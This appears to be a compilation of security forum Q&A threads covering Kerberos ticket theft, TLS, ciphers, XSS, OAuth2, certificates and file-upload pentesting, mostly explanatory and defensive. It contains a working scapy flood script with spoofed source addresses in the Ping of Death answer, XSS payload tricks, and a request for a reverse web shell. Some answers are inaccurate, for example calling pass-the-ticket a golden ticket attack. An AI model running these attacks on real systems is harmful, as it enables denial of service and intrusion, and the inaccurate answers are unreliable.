What is a secure way to log onto the domain controller? On a pentest we found that a kerberos ticket under account name administrator was cached on one of the SQL database server which allowed us to steal the ticket, pass-the-ticket and log onto the domain controller. The logon type was remoteinteractive which suggests that a user from SQLDB01 made a RDP session to DC01. In terms of recommendation, I believe restricted admin mode does not protect against this attack as this protection just forces kerberos ticket to default.

What other recommendations are there?
Use credential guard to protect against dumping of kerberos tickets (?)
What is the correct/secure way to log onto the DC? I assume a jumpbox?

As your explanation, It is looks like a common issue in kerberos. It is call golden ticket attack.
You can take following step to mitigate risk of this vulnerability.

Use Least privilege mode
Limit Administrator access.
Use Administrator Account for Limited and required changes only.
Use End-point protection to mitigate attacks
Adding Additional Layer of Security to domain Controller. - You can configure terminal server and allow access to dc only from that particular server.
Based on Requirement you can decide kerberos ticket life time.
Server hardening with appropriate security policies , patches...etc.
Use Detection tool for further security.
Configure Host firewall such as windows Firewall.
Block internet access and internet browsing from Domain controllers.
Use Secured Domain management to avoid login to DC.


Do Cipher Suites matter under attack using sslsqueeze tool? I find that sslsqueeze tool can carry attack on SSL/TLS server and does not need to perform any cryptographic operations. I think that no matter which cipher suite used in handshakes, the tool consumes the same CPU power.

Then do cipher suites used in handshakes a factor to make the server more susceptible to the attack using sslsqueeze tool?

If cipher suites really matter, does it mean that attacker can specify certain cipher suite for handshake to make the attack more likely to succeed?

If cipher suites really matter, does it mean that attacker can specify certain cipher suite for handshake to make the attack more likely to succeed?

Conceptually yes, though not with sslsqueeze. It is a simple tool that seems to be hardcoded to establish SSL and TLS connections with RSA key exchange (I've briefly read the code, a deeper analysis might reveal otherwise).

https://github.com/mmgaggle/sslsqueeze/blob/master/sslsqueeze.c

There will be variations across different servers since RSA since different key sizes will significantly affect computational requirements.


How would anyone ever break even this basic, amateurish cipher/encryption scheme? This question was prompted by a long Wikipedia session with me reading tons of articles on cryptography, causing far more questions than it answered.

Let's say that I and another person know each other. We plan to do something important and dangerous. We need to send messages back and forth long-distance. We conclude that all purchasable hardware and software is compromised, and therefore devise our own scheme:

I pull out the network cable from my computer, randomly generate a huge table numbered like 1, 2, 3, 4, 5... both horizontally and vertically, filled with random alphabetic letters, fitting on a standard A4 paper.
I print out two copies of this table.
I destroy the computer.
I keep one copy myself and give the other copy to the other person, who is sitting with me.
I tell him that, in order to send a message to me, or decrypt messages from me, he is to find any letter in the table corresponding to the character he needs to type in English, for example "A", and check which number column and row it exists in. For example, it may be in the 3rd column on the 16th row. That means he is supposed to type "3" followed by a randomly picked letter followed by "16" on the blank paper, followed by another random letter. He is then to continue like this until he has a message such as:

1A56B8L13X8C32E9L210D...

First of all, how would anyone ever be able to tell that the letters are all nonsensical and not used for anything other than separating the numbers? And even if they did, what do the numbers mean? They have no way of knowing this unless they have a copy of our sheet which only exists in two copies in the world and was generated by an offline computer which is now physically destroyed.

And we wouldn't be using the same column+row value each time for each letter, as they are found many times around the table.

And, what if to further complicate everything, we decide to write the messages in reverse? Or to do every other look-up in reverse, so that the columns and rows are swapped every other character? With just a few simple rules like that, it seems like they could never, ever decrypt our messages, even with the most powerful computers in the world.

I probably am making a fool out of myself here, but I seriously don't understand how anyone, no matter how smart, given unlimited time, could ever break this cipher/encryption scheme which I just came up with quickly without having any expertise in the field. I clearly must be missing something.

First of all, how would anyone ever be able to tell that the letters
  are all nonsensical and not used for anything other than separating
  the numbers?

It requires an intuitive leap.  The cryptographer, reviewing the data for patterns, will note that there are certain numeric tuples that repeat regardless of the alphabetic character.  Once they break the frequency counts out to consider the numeric tuples separately from the characters, it becomes intuitively obvious that the characters are filler.

Additionally, if the coder is 'randomly' selecting the character to insert, it won't be random.  You'd need a computer to pick characters with anything regarding true randomness, and you already destroyed your computer in step 3.

  And even if they did, what do the numbers mean?

Again, frequency counts.  How often does each numeric tuple repeat?  Make a graph.  What language is most likely being encoded?  English?  Okay, then assume the most common tuple is an 't'.  Second most common is an 'o'.  Decrypt as if those are true and see if any textual patterns arise.  Not getting patterns?  Shake them up and try 'o' first and 't' second, is that any better?  Repeat the process until the cleartext shakes out.

  They have no way of knowing this unless they have a copy of our sheet
  which only exists in two copies in the world and was generated by an
  offline computer which is now physically destroyed.

No, it can be inferred from the cipher text.  Your system is essentially a monoalphabetic cipher, one of the easiest to crack.

  And, what if to further complicate everything, we decide to write the
  messages in reverse? Or to do every other look-up in reverse, so that
  the columns and rows are swapped every other character? With just a
  few simple rules like that, it seems like they could never, ever
  decrypt our messages, even with the most powerful computers in the
  world.

You're still describing a substitution cipher, which are demonstrably fallible.  You might try to read about the career of Elizebeth Friedman, who broke codes like that used by organized crime and the Germans in the 30s and 40s.

  I probably am making a fool out of myself here, but I seriously don't
  understand how anyone, no matter how smart, given unlimited time,
  could ever break this cipher/encryption scheme which I just came up
  with quickly without having any expertise in the field.

That is such a common problem we have a rule describing it; Schneier's Law:

"Anyone, from the most clueless amateur to the best cryptographer, can create an algorithm that he himself can't break."


Flow of a host header injection attack? I am new to this field and would like to know how the flow happens in a host header injection attacks.

I believe it's as below:

Client generates the request.
Attacker manipulates the request and changes the host header (to say example.com).
Server (abc.com) receives the request and resolves to the manipulated host(here example.com).

If the above were true, does this mean that SSRF is possible using host header as example.com would think request coming from abc.com?

Could you please clarify?

The host header can be seen by the application, and requests with non-existent hosts are submitted to the default virtualhost, so the answer can be yes.

In order to have a SSRF vulnerability on the host header all the following factors must be present:

The web server must be configured with a default virtualhost
The server-side code must use the server name (or the host header directly)
The server side code must not check the server name against a whitelist
The server-side code must use the server name in a dangerous way (e.g. as code or as part of a network request)

In this blog post you can find the theory behind it for PHP.


Custom OAuth2 Authorization Server / Identity Provider I am currently trying to implement my own Authorization Server following the OAuth2 protocol PKCE flow, coupled with my own Identity Provider. The idea is to be able to reuse the same identity provider across multiple SPA.
To get a clearer picture I decided to draw a UML sequence diagram. This diagram details the different steps involved in the authorization process but also the authentication.

OAuth2-PKCE-Flow - UML Sequence diagram

Behind the scene my idea was also to implement my own Identity Provider (IdP) to authenticate users.
I still want to share some information about Authentication and session management server side. I am using a JWT Token based authentication system, meaning stateless. However, I want to be able to strongly log out users. To do that I am gonna use a refresh token that my Authorization Server will store in a Redis "session store" DB. The latter is then stateful.
Regarding the Authentication itself, it's held by the IdP which will verify users credentials. The IdP hosts a login form (simply an HTML page that will be rendered). It's worth saying that, unlike the login form, the consent form is hosted by the Authorization server since the concept of "consent" is only related to authorization.

Here I come with my questions :

What do you think about the flow shown in the diagram? I would definitely appreciate any feedback
I've tried to understand the concepts of Identity Provider and Authorization Server and how they interact with each other. I am not exactly sure who is supposed to generate the tokens (access and refresh). I would say it's the job of the Identity Provider since token is about authentication? If so, it would mean that the part of my diagram targeting the request/creation of the token is incorrect : Authorization Server would have to request the token from the Identity Provider, whereas now it's the Authorization Server itself which generates the token.
I inspected some web application (google, github, stackoverflow) to see how they deal with their own authentication system. Let's use the example of Stackoverflow. When I choose to log in using my stackoverflow account I expect the application to communicate with the Identity Provider which will provide the login form. The login form that is used is the one from the web-application itself, which means no redirection - we stay put, which makes sense yes. Let's go further, imagine I want to use Stackoverflow as "social login" for my application. The Identity Server I would reach behind the Authorization Server to authenticate should be the same as the one reached earlier when authenticating from Stackoverflow. I am wondering what concretely an Identity Provider is. Can it be that the client application itself plays as Identity Provider (since it hosts the login form)? Or is it just an API that provides endpoints for authenticating and generating tokens?

Even though I think I've got it what the concept of OAuth2 is, as you can see the concept of Identity Provider coupled with the Authorization Server is a little confusing to me.

Btw, I didn't mention that I am implementing all of that in Go.

Thanks for your help!

Bit of basics: Authorization: (Check if user A has access to resource Z). Authentication: check if the user who claims being A is really A.

OAuth2 is not an authentication protocol

From the oauth.net site:

  The OAuth 2.0 specification defines a delegation protocol that is useful for conveying authorization decisions across a network of web-enabled applications and APIs. OAuth is used in a wide variety of applications, including providing mechanisms for user authentication. This has led many developers and API providers to incorrectly conclude that OAuth is itself an authentication protocol and to mistakenly use it as such.

OAuth2 describes how a third party application can request authorization to access a protected resource on behalf of a user. When the RFC6749 talks about authentication, is not authentication of the user, but the client application making requests to the authorization server.

Now, you didn't mentioned it but there's OpenId Connect, which is a

  simple identity layer on top of the OAuth 2.0 protocol. spec

The IdentityProvider is a concept introduced by OpenId Connect, and its not present on the OAuth 2.0 authorization framework.

Most of the time the Authorization Server and the Identity Provider are the same application, implementing both oauth2.0 and OpenId Connect specifications, and refered as the OpenId Provider or simply OP. An OP is a OAuth 2.0 Authorization Server that is capable of Authenticating the End-User and providing Claims to a Relying Party about the Authentication event and the End-User.

Questions

  1 What do you think about the flow shown in the diagram? I would definitely appreciate any feedback

I think its quite good but, I don't really get why you segregate the Authorization Server from the Identity provider and I don't know how you will be able to create the session cookie from one application to the other. But, if you solve this in a secure way (which I'm not sure is possible) then its fine.

  2 I've tried to understand the concepts of Identity Provider and Authorization Server and how they interact with each other. I am not exactly sure who is supposed to generate the tokens (access and refresh). I would say it's the job of the Identity Provider since token is about authentication? If so, it would mean that the part of my diagram targeting the request/creation of the token is incorrect : Authorization Server would have to request the token from the Identity Provider, whereas now it's the Authorization Server itself which generates the token.

I hope that by now you know the answer. It's the authorization server who's in charge of creating access_tokens, because at first access_tokens where like door keys, they just grant you authorized access to a protected resouce. Thing is that with OpendId Connect an access_token includes claims about the user and also the means of how the user authenticated to the IDP.

  3 I inspected some web application (google, github, stackoverflow) to see how they deal with their own authentication system. Let's use the example of Stackoverflow. When I choose to log in using my stackoverflow account I expect the application to communicate with the Identity Provider which will provide the login form. The login form that is used is the one from the web-application itself, which means no redirection - we stay put, which makes sense yes. Let's go further, imagine I want to use Stackoverflow as "social login" for my application. The Identity Server I would reach behind the Authorization Server to authenticate should be the same as the one reached earlier when authenticating from Stackoverflow. I am wondering what concretely an Identity Provider is. Can it be that the client application itself plays as Identity Provider (since it hosts the login form)? Or is it just an API that provides endpoints for authenticating and generating tokens?

Maybe, StackOverflow knows. Keep in mind that there's a lot of authorization systems out there relying on Json Web Tokens that are not OAuth2.0. I'm not saying that's the case, but maybe.

On a final note Identity Server is an implementation of an OpenId Connect Provider (OP) in .Net (and netcore) by Brock Allen and Dominick Baier who choosed this name and added a little bit more of confusion to the mix!


How to confirm if it's a case of XSS On a training website where instructors can create Q&A exams for their students, an instructor put a question about XSS. Part of the question was http://abcd.com/options#. When I took the exam, that part of the question showed up on my screen as:

I believe that the website renders any input from the instructor without sanitizing it. I tunneled the request through Burp and noticed that I did not get an alert box because the quotes around XSS were \u201c and \u201d. However, when I changed the response from  to  before sending it to the browser, a DNS-over-HTTPS request to resolve randomwebsite.com was initiated from my browser (I have DoH enabled on my browser).
I want to report it to their bug-bounty program but, I'm doubtful if changing the quotes to their unicode counterpart is part of a protection or simply a co-incident that the instructor copy-pasted the question from (probably) MS-Word that did the change for them. Unfortunately, I do not have access to an instructor-account.
Is there a way to confirm if this is XSS? Is the DNS-over-HTTPS request enough proof for it?

That looks like a real XSS vulnerability, and I do think you should report it.
To get around the problems with the quotes, simply pass a number instead of a string to the alert function, e.g. alert(1). That way, you don't need the quotes but you can still demonstrate that JS is executed. That should be enough to prove that the vulnerability is real.
If you really want the alert to say XSS, you can create strings without using quotes like this:
String.fromCharCode(88) + String.fromCharCode(83) + String.fromCharCode(83)


Why do we need certificates confirming certificates? Why do we need certificates confirming certificates? Why create a hierarchy or tree? These questions makes me confused, could you explain it me?

It's a way of managing "trust".  Let's say you do business with MyBank.com.  Would you want to type your account number and PIN in the clear, and let any hacker on the network view it?  Probably not -- you shouldn't trust such a system.  So you want to encrypt the data.  Also, would you trust every web page with a pretty logo proclaiming itself to be "MyBank.com"?  Would you type your account number and PIN into it?  I hope not, because there is nothing secure about showing a copy of a picture.  So we know trusting the logos isn't enough.  We now have two different, but related problems:  we have to secure the data through encryption, and we have to know if we can trust this site is who they say they are.  Certificates are designed to help solve both of those problems.  The certificate contains the public key of the remote site so we can encrypt the data, and it has a signature we can use to confirm the public key is the right key, and not a fake key provided by a criminal.

But just because a web site encrypts your data, and hands you a certificate, how do you know the certificate you've got is actually for MyBank.com?  How can you trust it?

We could confirm it directly.  The next time we visit the lobby of MyBank.com we could ask the cashier, "Cashier, please give me a copy of the certificate to your bank's web site, so that I know I can trust it."  And that would absolutely work -- for that bank, one certificate at a time.

But let's say you also want to do business with CheapBank.com, located in a distant city.  Traveling there just to confirm their certificate would be expensive, so you wouldn't do it.  How could you do business with them and still know that you can trust them?  You could ask someone else to verify their identity for you.  Let's say you have a friend in that city.  You call him up, you ask him to drive to CheapBank.com, get a copy of their certificate, and send it to you.  That would work, too, but now it's more work.  (And it opens a different can of worms - how do you know the mailman or your friend didn't swap certificates?)

The answer we have settled upon is to have a trusted third party sign the certificates.  These are companies that anyone with a certificate can go to, provide some kind of proof that they are who they say they are, and this third party will then sign their certificate.  This signature is an attestation by Valid-Certificates-R-Us.com that this is actually CheapBank.com's genuine certificate.  Of course, how do we know that Valid-Certificates-R-Us.com actually signed their certificate?  By validating the signature with their certificate!

This leads to another problem:  how do we know that Valid-Certificates-R-Us.com is a trustworthy certificate signer?  For all we know, it could be run by a criminal gang, who will sign certificates for anyone trying to commit fraud.  The answer is "the self-signed certificate", which means that Valid-Certificates-R-Us.com signs their own certificate with their own signing key.  How does this help us? Why should we trust a self-signed certificate just because it was signed by Valid-Certificates-R-Us.com?  We shouldn't.  It's the same problem we originally had validating the bank.

So, to combat this, your operating system vendor or your browser vendor doesn't trust random self-signed certificates. It only trusts self-signed certificates that it installed.  Your OS vendor validates the certificates they are going to install before they package the OS and ship it to you.  If you look deep inside your computer, you'll find that there are a few hundred different self-signed certificates, from different certificate signing authorities scattered around the globe.  Many are issued by companies in the certificate business, some are issued by various national banks.  All have been checked out by your OS or browser vendor.  If one of these entities is ever caught issuing bad certificates, an emergency patch from your vendor will remove their certificate from your computer, causing you to no longer trust them, or any of the web sites whose certificates they signed.

So, if you step back from all this and look at the picture of these relationships, it looks like a tree:  at the root you have one browser, which trusts hundreds of self-signed certificates, each of those self-signed certificates is used to sign many thousands of other certificates, each of which can attest to one of the millions of web sites out there.


Should i use peer block to better secure my computer? Should i be using peer block to secure my computer or is there a better way to accomplish the same task?

I dont file share, my curiosity of peer block came from my research of security of my computer. I saw peerblock a great way to control the connections coming into my computer. I found plenty of block lists and also went as far as creating a white list. Not only have i seen improvements in cpu usage but peerblock is telling me its blocking some pretty suspicious IPs. Some IP address names that come up on peer block are "private use networks", "bogon", and sometimes some random companies. I recently added another list and one ip that has frightened me which i will not disclose has popped up a few times. This is a strictly get work done computer where i also store personal pictures and videos. With the recent development of computer being hacked and set for random or other malicious situations security is always on my mind.

What do all these blocked IPs mean? Am i securing my computer? Is there a better way to secure my computer? Should i be using peerblock? Can peer block protect me from malware or being hacked? Provided that i white list connections that update software, am i hurting myself by using it?

What do all these blocked IPs mean?

The fact that those IP addresses are being blocked or a suspicious IP address tries to send packet to your network, does not mean that you computer/network is compromised. The majority of the traffic coming through random IP addresses are either noise (misconfiguration on internet hosts) or automated malicious bots. Unless your computer is running ancient broken software or exposed a network service to Internet with a weak password, most these automated attacks are ineffective.

Remember, if you are behind a NAT (home router) your computer open ports is only accessible to your home network and not outside world (assuming you don't have port forwarding enabled).


Lost user password in Slackware 14.1, how to resolve encryption in /etc/shadow? Usually I use my root account when working with my Linux server, however, I created a user account which I use far less frequently. However, I would like to use it for a task today, but I forgot the password since I rarely use the user account. I know the password is encrypted and stored in /etc/shadow, and I would like to know how to resolve the encryption so that I can proceed. My other option, I suppose, would be simply to delete the user account and create a new one.

Unfortunately for you, it is not encryption, but a one way hash, so there is no way to actually reverse it. The only option you have is the brute force route, where you guess passwords and hash them until one matches.

There are tools which do this, like John the Ripper, or you can go down the route of rainbow tables, which effectively have the brute forcing done for you, but it can take a while.


Why would a banking app require access to browsing history and information about apps running on the device? I have a banking app installed, but when I tried to update it, it asked me for permissions to access browsing history and the information about apps running on the device.

Why would a banking app need permission for this? I am not sure if it'd add any extra security layer. Can it be just for advertisement purposes?

When they ask, it can look a little bit intrusive, but it's usually* for security reasons:

Some banks will perform some checks for root access/jail-break (iOs) devices, one of those needs the permission. (Some banks will let you continue using the app and some others no if the check fails, there's no consensus by now because the check is not deterministic, see https://stackoverflow.com/a/3578773/2325522
The information about the apps/processes/history is really handy to detect/trace an infection/account compromise if it's related to a "bad android app". It's gold for the blue team of the bank. (i.e. They just cross the list of apps to check if something "weird" is installed/running/recently visited on the compromised account phone).

*I can't say if they do/don't do something more with the gathered information.


Sandbox for attachment accessment I am currently trying to review an e-mail sent to myself, that could be malicious, or it could not. I would like to create a sandbox environment to review this kind of message (it's more than likely this will be more than a one off activity), and want to know the safest / best way to create this.

I've read some other threads that suggest a VM environment with no network connectivity (How do I safely inspect a suspicious email attachment?) but unsure of how I would then get access to the e-mail in question without downloading it?

Any help much appreciated.

EDIT
After the responses below, I implemented the tools mentioned and followed the steps to good effect. I have however found a tool that seems to allow for sandboxing within a browser, allowing me to quickly reviewing suspicious attachments within a safe environment. I run it within a disconnected VM. The tool is called Sandboxie (https://www.sandboxie.com/).

Considering browser download is a safe download, according to my knowledge there is no problem in downloading mail attachment but opening is.

Since it is coming via email, there aren't any windows hooks that are attached with mail attachment download that could lead to auto initialization, unless you explicitly open the attachment.

So,

Download the attachment. (Just don't open it)
Create Virtual Environment using Virtual Box.
Move your attachment to virtual environment.
Disconnect the Virtual Machine network.
Make sure to turn off any "integrations" in the VM, such as shared mouse, clipboard, files/folders, etc. Otherwise a bug in one of those sharing systems could give access to your machine from within the VM. (suggested by Moshe Katz)
Enjoy playing with Viruses.


How is end-to-end encrypted data stored in a database? A traditional database holds the data in each column and then has a relational ID to tie that row to a parent (e.g. a user's ID) so it can be found in a query.

Taking the same scenario but this time E2E is in place, is the encrypted data (e.g. chat message) simply inserted into the database under the respective column and the relational ID is left in plain text? It seems the most simple but it allows for metadata to undermine some parts of the encryption, e.g. how many chats a user has sent.

Is my understanding correct?

Storing encrypted information in the app's database comes at the expense of inability to use power of SQL to retrieve/store information in a convenient way. Encrypted data can not be indexed.

Because of that in order to search for a specific thing the application's server (or the app) needs to retrieve the whole block of data, decrypt it and then find what is needed.

  the encrypted data (e.g. chat message) simply inserted into the database under the respective column and the relational ID is left in plain text

Your app needs a way to retrieve encrypted data related to a certain user. If you store plain user ID, the retrieval process becomes simpler. If all fields of the database are encrypted you lose some usability because data retrieval process becomes harder. You will need to build your own lookup table in the app that would help to store/extract a chunk of data that you need.

But if you store plain user ID and all other data is encrypted and your data transmission process is also encrypted all the way, it should be very hard to map a certain user ID to a real user.

The database encryption prevents data disclosure in case of breach and makes it impossible for database administrators to snoop on your data. So, even if they see plain user ID in the database and can see how many message a certain user sent it is still very hard for them to correlate it to a real user.

How far do you want to go with database encryption (plain vs encrypted data) depends on your threat model.


Securing firewalls for XAMPP on Mac OS X I've recently installed XAMPP on my Mac OS X 10.6.8, and this has caused me to reevaluate how I have my firewall setup. Right now I am using the two firewalls that came pre-installed on my computer:

ipfw packet-filtering firewall
Application firewall

In my experience, applications err on the side of usability and as a result have insecure default settings. Given this, I figure I'll need to make some changes (either in ipfw.conf or the Security Pane) to properly harden my network. This is especially important now that I will be running an XAMPP server (for local development only).

What changes should be made to the default settings on the Apple firewalls in order to properly secure your computer/server?

Apple have very comprehensive hardening guides for OSX, which they publish at http://www.apple.com/support/security/guides/ so you should go through that first.

XAMPP is not meant for production use, so out of the box it is deliberately very insecure. You're not meant to use it for anything serious, so they turn lots of security features off to make it easy to use. You can reverse these deliberate weaknesses by running the lampp security command.

Because it's not for production, there isn't much in the way of hardening guides for it. I see one at http://robsnotebook.com/xampp-security-hardening you could take a look at.

Otherwise you're going to have to look at hardening guides for the specific components (Apache, MySQL, etc.)


Is my data secure in locked screen if I use bitlocker My SSD is currently encrypted by bitlocker right now. So let say if I leave my laptop on locked state (Win+L). Is it possible for someone to get access to my data?

Few thing I noted are:

If someone tried to boot from external USB after restart, he will fail as he will be asked to enter bitlocker password after a restart
Since I am in locked screen right now and has done the booting part earlier, currently my disk is unlocked
It is not possible to brute force because of limit in password attempts in locked screen
Lets ignore the case there is already a malware in my PC or someone has already replaced sticky keys by command prompt

So is my data safe if my laptop got stolen while in locked screen?

No, it's not secure.

You're vulnerable to:

Cold boot attacks (freeze memory and extract the contents, get BitLocker encryption keys and all your other sensitive data)
DMA attacks via FireWire, CardBus, ExpressCard, Thunderbolt, etc.
Installation of a physical keylogger (many laptop keyboards can be easily removed) or backdoor hardware.

In general, if an attacker has physical access to your device, you're screwed.


Is dirtycow unharmful without shell access? Let's say have a linux server to which only I have shell access and all other users shells are disabled. Is there any reason to be preoccupied?

Dirty cow does not need shell access. It only needs the ability to execute own software. This can for example also be done by using a security problem in a web application to upload and execute remote code.


In What Ways Can X-Foward-For Header Information Be Used In An Attack By enabling X-Foward-For on our proxy, we would essentially be advertising our internal IP addresses externally. However, we use a private range. Everything goes through NAT. So, the best anyone would see is something similar to, 192.168.x.x.

We came up with a scenario where an attacker could use the information in a phishing attack. If they could lure a user into clicking a link, then they would know the user's IP address and may be more able to impersonate someone from IT in a phishing call.

I'm interested in learning other scenarios where having X-Foward-For enabled on the proxy could have a negative effect. We would NOT be using this for authentication in any scenario. How could this information be used in an attack?

Thanks,

With enough traffic from your internal users, an attacker could map the internal networks of an organization. There might be very low value in this data, however, if DHCP expires IPs quickly, or if the internal network is predictable (or uninteresting) on its own. It would also require a lot of traffic from the network's users to be helpful.


Does OpenSSL have stat for read change cipher spec (SSL3_ST_CR_CHANGE_A) In EAP-TLS method of authentication if a server sends Change Cipher Spec message to  the client, I couldn't find references to SSL3_ST_CR_CHANGE_A.  The enum is defined for SSL3_ST_CR_CHANGE_A in ssl3.h, but I looked at OpenSSL's source code: s3_clnt.c:ssl3_connect(), and I don't see any case that handles it.

The openssl version which I am using is openssl-1.0.1e, does any other version supports this.

The change_cipher_spec message is not a handshake message; it has its own special record type. It is handled in s3_pkt.c:ssl3_read_bytes().

OpenSSL handles the handshake as a state machine; the state variable contains the current status. Whenever a handshake message is received, the status changes. The change_cipher_spec message, being always small (its length is 1 byte, exactly), is handled on-the-fly just like an alert message. When received, it does not change the state variable, but instead sets the change_cipher_spec field to 1. When a change_cipher_spec is expected, the next message should be a Finished, and the code processing the Finished message checks the change_cipher_spec field.


Is there a way to prevent changing the MAC address on a Windows machine? Is it possible to stop someone from changing the MAC address of a Windows machine using GPOs?

(There may be network cards which use a fixed MAC address, but I've not yet heard of them.)

As the comments suggest, an Administrator account in Windows can adjust the MAC address, as well as the IP address. A non-administrator account cannot. So, if you do not trust the user, or want to reduce the risk of viruses, you should certainly run a non-administrator account.

However, with physical access to the machine, there are many possible ways to bypass the user account controls, and gain administrator access anyway. Properly securing a machine when someone has physical access is quite complex and depends on the specific requirements.

And besides that, could someone just unplug the network cable and plug it into a a separate device for which they have root access?

The best thing to do would be to have a middle-man device which controls the traffic. For example, with a Managed Switch, each PC can be plugged into a separate port. The physical port number can be tied to a specific IP address and MAC address requirement.

Besides a proper Managed Switch, many Routers, or small computers with multiple ethernet ports have the ability to enforce such restrictions.

(Finally, were you to use a Proxy or NAT, then the MAC address would be reset in that way, but this is probably not what you are looking for.)


How to identify a Ping of Death attack by analyzing its packet in Wireshark? I've tried researching it for a long while, but came out dry.

Remember that ping is merely an ICMP echo request. So, applying the 'ICMP' display filter in Wireshark will show only this traffic. An alternative, ICMP > 100 can be used to display only ICMP packets larger than the typical ping packet.

Source

Furthermore, they are Ethernet II frames. Hence, the source MAC address should be from the same MAC address if it is a PoD (Ping of Death). It should be noted that a PoD packet is the maximum size of 65,535 bytes.

Below I have included a Python script which illustrates how this works.

from scapy.all import *
import random

def address_spoofer():

    addr = [192, 168, 0 , 1]
    d = '.'
    addr[0] = str(random.randrange(11,197))
    addr[1] = str(random.randrange(0,255))
    addr[2] = str(random.randrange(0,255))
    addr[3] = str(random.randrange(2,254))
    assemebled = addr[0]+d+addr[1]+d+addr[2]+d+addr[3]
    print assemebled
    return assemebled

target = raw_input("Enter the target to attack: ")

while True:

    rand_addr = address_spoofer()
    ip_hdr = IP(src=rand_addr, dst=target)
    packet = ip_hdr/ICMP()/("m"*60000) #send 60k bytes of junk
    send(packet)

Source

See, DoS 101: The Ping of Death which illustrates this further and shows resource consumption during this type of DoS attack.


How practical is a certificate's "basic constraint" property in protecting my HTTPS / SSL session? Suppose a leaf node creates a certificate for a different domain, acting as a CA.

Do most popular frameworks, or SSL chain validation tools verify the constraints?  Are there any I should be concerned with, and remove from my production environment?

Should I be concerned with CA's issuing certificates without basic constraints?

How can I protect my website (as a server operator), and my web browsing session (as a consumer) from certificates generated by leaf nodes, or improperly configured CAs?

Up to a few years ago (something like 2003 or 2004, if I remember correctly), Internet Explorer was not verifying the "Basic Constraints" extension. When this was discovered, Microsoft promptly published a patch.

On a general basis, the "Basic Constraints" extension is properly verified by all existing validators. Internet Explorer was really the worst student in the class on that matter. It is called "basic" for a reason: it is the simplest X.509 extension to handle.

You protect yourself against badly configured CA by ceasing to trust the relevant trust anchors, and sending lawyers to punish such misbehaviour.


How can you bind a public key to a certificate if the public key depends on the choice of algorithms? Can the same public key be used with RSA, Elliptic Curve, or other asymmetric encryptions algorithms? If not, how is a public key bound to a X.509 Certificate? Presumably, you'd have to know the algorithmic choice before determine a public key, and the choice of algorithms is only settled during the handshake.

Can the same public key be used with RSA, Elliptic Curve, or other asymmetric encryptions algorithms?

No. The algorithm is inherent in the key.

If not, how is a public key bound to a X.509 Certificate?

It is not bound to the certificate, but it is part of the certificate.

Presumably, you'd have to know the algorithmic choice before determine a public key, and the choice of algorithms is only settled during the handshake.

If the client only offers ciphers1 which require RSA based authentication and the server only has a ECC certificate then the handshake will simply fail, since there are no shared ciphers supported by both sides.
Typically the client shows support for both RSA and ECC certificates in the ciphers though, so that a shared cipher can be found no matter what kind of certificate the server has. And in some cases servers have also both types of certificates.

1 This is a bit simplified. With TLS 1.3 the algorithm for the certificate is no longer in the cipher suite. But there is a signature_algorithms_cert extension. And even this statement is still simplified since there is also a signature_algorithms extension. See RFC 8446 section 4.2.3 for more.


Benchmark Password Cracking Tools I want to perform a benchmark for the most popular offline password cracking tools (john the ripper and hashcat)?

What metrics or approach should i take about benchmarking in order to determine what tool is better that the other?

Both tools have a command line option to run benchmarks on your current setup:

For John the Ripper, use --test.
For hashcat, use --benchmark (or -b).


Will a `dd` clone between two drives effectively "wipe" the contents of the target drive? From a security standpoint, given two drives having the same capacity (i.e. 256 GB), source drive (A) and target drive (B), will performing a full dd clone of Drive A effectively "wipe" the contents of Drive B such that its previous contents are sufficiently irrecoverable?

That depends on what you mean by "sufficiently".

For magnetic disks, yes, overwriting the data like this should erase it sufficiently, and dd will write every block on the target drive. The idea that magic spy forensics can recover data from a magnetic hard drive that hasn't been overwritten some huge number of times is a myth derived from this paper by Peter Gutmann (see the several epilogues he's since added at the end).

Nothing about this applies if the target drive is flash storage, like an SSD. SSD drives have different data remanance properties. This paper suggests overwriting the entire storage container twice to guarantee that every block has been re-used. Properly implemented OSes can also inform the drive to wipe particular blocks via the TRIM, but the drive isn't guaranteed to act on these commands in any particular amount of time.


Unrestricted File Upload on JBoss I am currently working on webapp pentest where I discovered a nice little Unrestricted File Upload vulnerability. The only (and big) problem is that I am unable to escalate this to a fully working remote web shell yet.

Basically, I am able to upload whatever content I want on the server (using the change Avatar picture feature). Important point, the uploaded file is stored at whatever.com/something/avatar/2.

It appears that the underlying technology is an Apache server running on CentOS and a JBoss servlet.

I tried to upload a JSP reverse shell which did not work I then read that for JBoss servlets war files should be used to deploye webpages also war files should be put into a specific /deploy folder. My issue here is that when I upload a file it always end up to be store at whatever.com/something/avatar/2.

Anyone has some suggestions which could help me to get a reverse web shell?

EDIT1:

When uploading a file I have to set Content-type to image/jpeg but the extension of the file can be set to whatever I want, so obviously, the only check is done on the Content-type.

EDIT2:

Request/response to upload a file:

POST /something/profile/upload HTTP/1.1
Host: HOST
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Referer: REFERER
Cookie: JSESSIONID=COOKIE
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------18769807824524
Content-Length: 1541

-----------------------------18769807824524
Content-Disposition: form-data; name="email"

nope@nope.com
-----------------------------18769807824524
Content-Disposition: form-data; name="avatarImageUpload"; filename="cmd.war"
Content-Type: image/jpeg
Hello world

HTTP/1.1 200 OK
Date: Mon, 16 Jan 2017 17:26:12 GMT
Content-Type: text/html;charset=ISO-8859-1
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Length: 54

{"success":true,"fileUrl":"/something/profile/avatar/2"}

Request/response when accessing the uploaded file -- to properly display the response in the browser I just have to tamper with the returned Content-type header:

GET /something/profile/avatar/2 HTTP/1.1
Host: HOST
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: */*
Accept-Language: en-GB,en;q=0.5
Referer: REFERER
Cookie: JSESSIONID=COOKIE
Connection: keep-alive

HTTP/1.1 200 OK
Date: Tue, 17 Jan 2017 09:18:34 GMT
Content-Type: image/jpeg
Content-Length: 11
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive

Hello world

For an upload to be secure, it must have a number of restrictions, primarily these:

Max upload file size
Max upload count per IP/session per day
Max total file bytes per IP/session per day
Max total file bytes per day (all IPs)
Specific server side target directory path
Deny execution privileges on uploaded files
Specific set of allowable MIME types
Elimination of executable code embedded in media [1]

Restricting the extension type is irrelevant because that only relates to the default and preferred application associations, not networking.  Any type of content can be placed in any file name regardless of its extension.

